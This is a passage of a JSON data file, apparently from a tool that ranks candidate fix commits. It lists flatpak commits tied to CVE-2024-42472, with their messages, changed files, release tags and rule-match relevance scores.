"common/flatpak-context.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [ + "CVE-2024-42472" + ], + "twins": [ + [ + "no-tag", + "6bd603f6836e9b38b9b937d3b78f3fbf36e7ff75" + ] + ], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "COMMIT_IN_REFERENCE", + "message": "This commit is mentioned 5 times in the references.", + "relevance": 64 + }, + { + "id": "VULN_ID_IN_MESSAGE", + "message": "The commit message mentions the vulnerability ID", + "relevance": 64 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: bind-fd", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: change, bubblewrap, bwrap, require, option, version, update, replace, bind, close, start, mount, symlink", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "8a18137d7e80f0575e8defabf677d81e5cc3a788", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1717410150, + "hunks": 3, + "message": "Don't follow symlinks when mounting persisted directories These directories are in a location under application control, so we can't trust them to not be a symlink outside of the files accessibe to the application. Continue to treat --persist=/foo as --persist=foo for backwards compat, since this is how it (accidentally) worked before, but print a warning. Don't allow \"..\" elements in persist paths: these would not be useful anyway, and are unlikely to be in use, however they could potentially be used to confuse the persist path handling. This partially addresses CVE-2024-42472. If only one instance of the malicious or compromised app is run at a time, the vulnerability is avoided. If two instances can run concurrently, there is a time-of-check/time-of-use issue remaining, which can only be resolved with changes to bubblewrap; this will be resolved in a separate commit, because the bubblewrap dependency might be more difficult to provide in LTS distributions. Helps: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] [smcv: Use g_warning() if unable to create --persist paths] [smcv: Use stat() to detect symlinks and warn about them] [smcv: Use glnx_steal_fd() for portability to older GLib] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-context.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [ + "CVE-2024-42472" + ], + "twins": [ + [ + "no-tag", + "3caeb16c31a3ed62d744e2aaf01d684f7991051a" + ] + ], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "COMMIT_IN_REFERENCE", + "message": "This commit is mentioned 5 times in the references.", + "relevance": 64 + }, + { + "id": "VULN_ID_IN_MESSAGE", + "message": "The commit message mentions the vulnerability ID", + "relevance": 64 + }, + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: vulnerability, malicious", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time, distribution, follow, change, bubblewrap, provide, file, commit, compromise, work, vulnerability, access, allow, avoid, application, instance, mount, symlink", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "db3a785241fda63bf53f0ec12bb519aa5210de19", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1717412345, + "hunks": 2, + "message": "Add test coverage for --persist This adds three \"positive\" tests: the common case --persist=.persist, the deprecated spelling --persist=/.persist, and the less common special case --persist=. as used by Steam. It also adds \"negative\" tests for CVE-2024-42472: if the --persist directory is a symbolic link or contains path segment \"..\", we want that to be rejected. Reproduces: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Add \"positive\" tests] [smcv: Exercise --persist=..] [smcv: Assert that --persist with a symlink produces expected message] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", + "changed_files": [ + "tests/test-run.sh" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [ + "CVE-2024-42472" + ], + "twins": [ + [ + "no-tag", + "2cdd1e1e5ae90d7c3a4b60ce2e36e4d609e44e72" + ] + ], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "COMMIT_IN_REFERENCE", + "message": "This commit is mentioned 5 times in the references.", + "relevance": 64 + }, + { + "id": "VULN_ID_IN_MESSAGE", + "message": "The commit message mentions the vulnerability ID", + "relevance": 64 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: symlink, directory", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "847dfb88cebbdf8825332730b837489684dfb91e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723488498, + "hunks": 2, + "message": "build: Require a version of bubblewrap with the --bind-fd option We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. In the bundled subproject, upgrade bubblewrap to version 0.6.3, which has a backport from 0.10.0 of the required option. For this stable branch, check the --help output for a --bind-fd option instead of requiring a specific version number, to accommodate possible backports in LTS distributions. Signed-off-by: Simon McVittie ", + "changed_files": [ + "configure.ac", + "subprojects/bubblewrap" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [ + "CVE-2024-42472" + ], + "twins": [], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "VULN_ID_IN_MESSAGE", + "message": "The commit message mentions the vulnerability ID", + "relevance": 64 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: bind-fd", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: condition, distribution, option, bubblewrap, race, require, backport, version, branch, bind, subproject, close, need, build", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: subproject, bubblewrap, configure", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "bb8759ea107c20bda34ae89fcf17b7bbba229399", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723486897, + "hunks": 2, + "message": "build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. Signed-off-by: Simon McVittie ", + "changed_files": [ + "meson.build", + "subprojects/bubblewrap.wrap" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [ + "CVE-2024-42472" + ], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "VULN_ID_IN_MESSAGE", + "message": "The commit message mentions the vulnerability ID", + "relevance": 64 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: condition, option, bubblewrap, race, require, version, bind, close, need, build", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "9ad26d7e3268a6d0f92a4b06d65ff237e44c384c", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723642819, + "hunks": 3, + "message": "NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon McVittie ", + "changed_files": [ + "NEWS", + "configure.ac" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: bind-fd", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, configure, update", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: configure", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "6519993de8ab0ec6ccdf4d8dff679d03d916360c", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722540094, + "hunks": 10, + "message": "tests/build: Stop sharing the same environment for all tests This allows us to pass different environments to different tests.", + "changed_files": [ + "tests/meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: flatpak-bwrap", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow, build", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "a32f231910476bd2ebf6ad015ce72285e64dd6a4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723484904, + "hunks": 1, + "message": "Update NEWS Signed-off-by: Simon McVittie ", + "changed_files": [ + "NEWS" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "8580f3f9f8db947d1279f4f84059e7df9fdc4e23" + ], + [ + "no-tag", + "fd5c0b1f3733e0d07d1fefda4ce84cd5716a3453" + ], + [ + "no-tag", + "690295950cc7abacb8dd7ed2c35c3dcad8d77747" + ], + [ + "no-tag", + "bde1e8b4e64f23bb95023de2169cd3009090ecb4" + ], + [ + "no-tag", + "aca754af78a8c31f6204c72245ce43e772d29f67" + ], + [ + "no-tag", + "7dcb96b56e2db2acf6b57531264b894c0d9dea31" + ], + [ + "no-tag", + "5150678ed012f5ab635ce620e7adf70cdabca2ea" + ], + [ + "no-tag", + "51de8f9294c2f0e72b6eb866053c58cd00d39144" + ] + ], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: build-time", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "260e4b374bae8e35aa0169669832f9e42056975f", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723549258, + "hunks": 4, + "message": "run: Debug-log sources of parameters other than overrides Every time we load something into the context, debug-log what it was. Again, the more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on if the app metadata or the command-line options are setting sandboxing parameters that break an app. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: command-line", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time, option, line, sandbox, source, command, sandboxing", + "relevance": 4 + } + ] + }, + { + "commit_id": "07f55b32a5323b584e0061bf4337071603fee67b", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1708272131, + "hunks": 4, + "message": "run: Test whether sysfs mountpoints are accessible before mounting them In some restrictive environments like Whonix, access to /sys/ is blocked by file permissions (chmod 0700 /sys). Previously, Flatpak would give bwrap a command-line that will fail altogether in these locked-down environments. Instead, fall back to running the app with no access to these /sys subdirectories. The application will be unable to enumerate game controllers and similar hardware devices in this situation, but that's the same limited functionality that would be seen for a non-sandboxed application. Resolves: https://github.com/flatpak/flatpak/issues/5138", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: command-line", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: bwrap, subdir, file, line, sandbox, point, application, access, command, mount, permission", + "relevance": 4 + } + ] + }, + { + "commit_id": "89f8f3767ad4483dc2e175a4b0a76d4067ba1937", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714675049, + "hunks": 13, + "message": "common: Move OCI registry manipulation into FlatpakOciRegistry This is a step towards making flatpak-utils conceptually \"smaller\" than all other translation units, with no dependencies beyond GLib and libglnx. In particular, consolidating all the OCI registry manipulation into one place means we can build other translation units without libarchive. This would also be a step towards being able to provide a build-time option to build a libostree-only version of Flatpak without the OCI feature or the direct libarchive dependency, if someone wanted to implement that. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-oci-registry-private.h", + "common/flatpak-oci-registry.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: build-time", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time, option, provide, version, mean, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "368cf26f8da82e81f26fb1797080668af3579ed1", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724415097, + "hunks": 1, + "message": "subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require a system xdg-dbus-proxy to be v0.1.0 or later, although a newer release is recommended. Signed-off-by: Simon McVittie ", + "changed_files": [ + "subprojects/dbus-proxy.wrap" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: require, release, update, subproject, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: subproject", + "relevance": 4 + } + ] + }, + { + "commit_id": "501dc75bc80f4a69e2015ae3d9a226d42413c77e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723625984, + "hunks": 3, + "message": "NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon McVittie ", + "changed_files": [ + "NEWS", + "meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: meson, build, version, update", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "417f3ca47ca2f620e6489b2a2cb437dbc803a37f", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723625959, + "hunks": 2, + "message": "build: Require bubblewrap 0.10.0 This is functionally equivalent to the release candidate. Signed-off-by: Simon McVittie ", + "changed_files": [ + "meson.build", + "subprojects/bubblewrap.wrap" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: build, require, bubblewrap, release", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap", + "relevance": 4 + } + ] + }, + { + "commit_id": "5fc86a865cdcec0903ee526366e02af861d0c856", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722540750, + "hunks": 2, + "message": "tests: Add an address sanitizer suppression file There are two places where we deliberately leak some memory. There are some cases which look like leaks in libostree but it's not impossible that we made a mistake in flatpak. Two other cases seem like issues in flatpak that I couldn't figure out.", + "changed_files": [ + "tests/flatpak-asan.supp", + "tests/meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "dad0160eee69466be8450bbf296ade9977d8ff00", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722540207, + "hunks": 3, + "message": "tests/build: Add address sanitizer log file path Logging into files means we don't mess up the test TAP output and anything that requires a specific format.", + "changed_files": [ + "tests/meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: build, file, require, mean", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "c98a7c024f97331e19d53ca8d3dad9ee93880ef4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714671565, + "hunks": 8, + "message": "utils: Move OstreeRepo configuration accessors to a new translation unit This is a step towards removing the libostree dependency from flatpak-utils, which should be one of the lowest-level components. Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-builtins-build-update-repo.c", + "common/flatpak-repo-utils-private.h", + "common/flatpak-repo-utils.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c", + "common/meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: access, configuration", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build, update", + "relevance": 4 + } + ] + }, + { + "commit_id": "92d7f9ec49e2db4ad93040d8e607531791165024", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1718677205, + "hunks": 3, + "message": "flatpak-permissions: Fix a memory leak This occur by just running flatpak permission Signed-off-by: Hubert Figui\u00c3\u00a8re ", + "changed_files": [ + "app/flatpak-builtins-permission-list.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: permission", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: permission", + "relevance": 4 + } + ] + }, + { + "commit_id": "cfb143bfc79bca1da2e584a9ed97ac93a16899b5", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1711575986, + "hunks": 1, + "message": "profile: Install flatpak.csh", + "changed_files": [ + "profile/meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: instal, file", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build, file", + "relevance": 4 + } + ] + }, + { + "commit_id": "db5f0370209d05d5001bb7af7a01a41e8b6f7858", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724421248, + "hunks": 1, + "message": "Update subtree: libglnx 2024-08-23 * Fix function detection when using -Werror=return-type (Resolves: flatpak/flatpak#5778) * Add a fallback definition for G_PID_FORMAT * Avoid warnings for g_steal_fd() when targeting older GLib * Include from glnx-backports.h Signed-off-by: Simon McVittie ", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "5778": "Update submodule: libglnx 2024-04-20 #5799 Update libglnx subtree to 2024-04-20 smcv/flatpak#1 Update subtree: libglnx 2024-08-23 #5918" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update, avoid, include, backport", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 5778", + "relevance": 2 + } + ] + }, + { + "commit_id": "87f2768fab168ded186bd6b973ad6acf4cd09f8b", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724421186, + "hunks": 0, + "message": "Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports: Include `` See merge request GNOME/libglnx!59", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: branch, include, backport", + "relevance": 4 + } + ] + }, + { + "commit_id": "0101366da4f636a3b1634b99cf04ff5b2f9fe427", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723549383, + "hunks": 1, + "message": "run: Debug-log the final context for an app This indicates what sandboxing parameters we are going to be using in the end. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: sandbox, sandboxing", + "relevance": 4 + } + ] + }, + { + "commit_id": "dbc6cd91afd23653e1cef024b234b34af525b21b", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723549185, + "hunks": 4, + "message": "dir: When we load overrides, log them as debug messages The more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on when users have added overrides that make their app not work as intended. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-dir.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: have, intend, user, work", + "relevance": 4 + } + ] + }, + { + "commit_id": "9784e5c0edd67d95f6e668099928f5027f85583c", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723549142, + "hunks": 2, + "message": "context: Add a function to log a FlatpakContext This writes out the context as a series of debug messages. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-context-private.h", + "common/flatpak-context.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: write", + "relevance": 4 + } + ] + }, + { + "commit_id": "5d62a6d80b01b5c3ada67ddcd469d8c801d4dfca", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723549080, + "hunks": 3, + "message": "utils: Add flatpak_is_debugging() This can be used to disable code paths that assemble relatively \"expensive\" debug information when debugging is not enabled. It's activated by `flatpak -v -v`. With a sufficiently modern GLib version, it also activates for `G_MESSAGES_DEBUG=all` or `G_MESSAGES_DEBUG=flatpak`. Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-main.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, code", + "relevance": 4 + } + ] + }, + { + "commit_id": "73cebfd83c34904944d1e1d0631b102589bb8dee", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328934, + "hunks": 4, + "message": "run: Use hash tables as sets in the conventional way GLib has optimizations for hash tables that are sets (conventionally represented as key == value), and the APIs to work with such hash tables are also slightly nicer, so use them instead of putting an arbitrary constant string in the value. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: represent, work", + "relevance": 4 + } + ] + }, + { + "commit_id": "5964b13f1e06ee0e2cf33431d59cb1a855fab61b", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328834, + "hunks": 7, + "message": "Constify arrays of program arguments These are passed to non-const-correct APIs which still need a cast, but at least we can declare the array in a way that reduces mistakes. Signed-off-by: Simon McVittie ", + "changed_files": [ + "revokefs/demo.c", + "session-helper/flatpak-session-helper.c", + "tests/can-use-fuse.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: need", + "relevance": 4 + } + ] + }, + { + "commit_id": "f711ffc0e3c9b0119fec69961ae8a558670752df", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724327251, + "hunks": 1, + "message": "utils: Be more const-correct For historical reasons C string literals are officially of type `char *`, but if we build with -Wwrite-strings, they are `const char *` as they should be. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: write, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "5a2503f1e8ef94364e3060ec440546cc47af7fa5", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723643859, + "hunks": 23, + "message": "Update translation files for 1.14.10 release Signed-off-by: Simon McVittie ", + "changed_files": [ + "po/cs.po", + "po/da.po", + "po/de.po", + "po/en_GB.po", + "po/es.po", + "po/fr.po", + "po/gl.po", + "po/hi.po", + "po/hr.po", + "po/hu.po", + "po/id.po", + "po/oc.po", + "po/pl.po", + "po/pt.po", + "po/pt_BR.po", + "po/ro.po", + "po/ru.po", + "po/sk.po", + "po/sv.po", + "po/tr.po", + "po/uk.po", + "po/zh_CN.po", + "po/zh_TW.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.14.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update, file, release", + "relevance": 4 + } + ] + }, + { + "commit_id": "8b4f523c4f8287d57f1a84a3a8216efe200c5fbf", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723628934, + "hunks": 2478, + "message": "Update translation files for 1.15.10 Signed-off-by: Simon McVittie ", + "changed_files": [ + "po/cs.po", + "po/da.po", + "po/de.po", + "po/en_GB.po", + "po/es.po", + "po/fr.po", + "po/gl.po", + "po/hi.po", + "po/hr.po", + "po/hu.po", + "po/id.po", + "po/ka.po", + "po/nl.po", + "po/oc.po", + "po/pl.po", + "po/pt.po", + "po/pt_BR.po", + "po/ro.po", + "po/ru.po", + "po/sk.po", + "po/sv.po", + "po/tr.po", + "po/uk.po", + "po/zh_CN.po", + "po/zh_TW.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update, file", + "relevance": 4 + } + ] + }, + { + "commit_id": "f62a83cdae462de15d80c02f12a8468981edc6d5", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723487538, + "hunks": 2, + "message": "Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon McVittie ", + "changed_files": [ + "NEWS" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update, release", + "relevance": 4 + } + ] + }, + { + "commit_id": "4b439ca001a4b1d867e399f2bc9629f972f6142c", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722539947, + "hunks": 1, + "message": "oci-authenticator: Unref the GOptionContext when we're done with it", + "changed_files": [ + "oci-authenticator/flatpak-oci-authenticator.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and 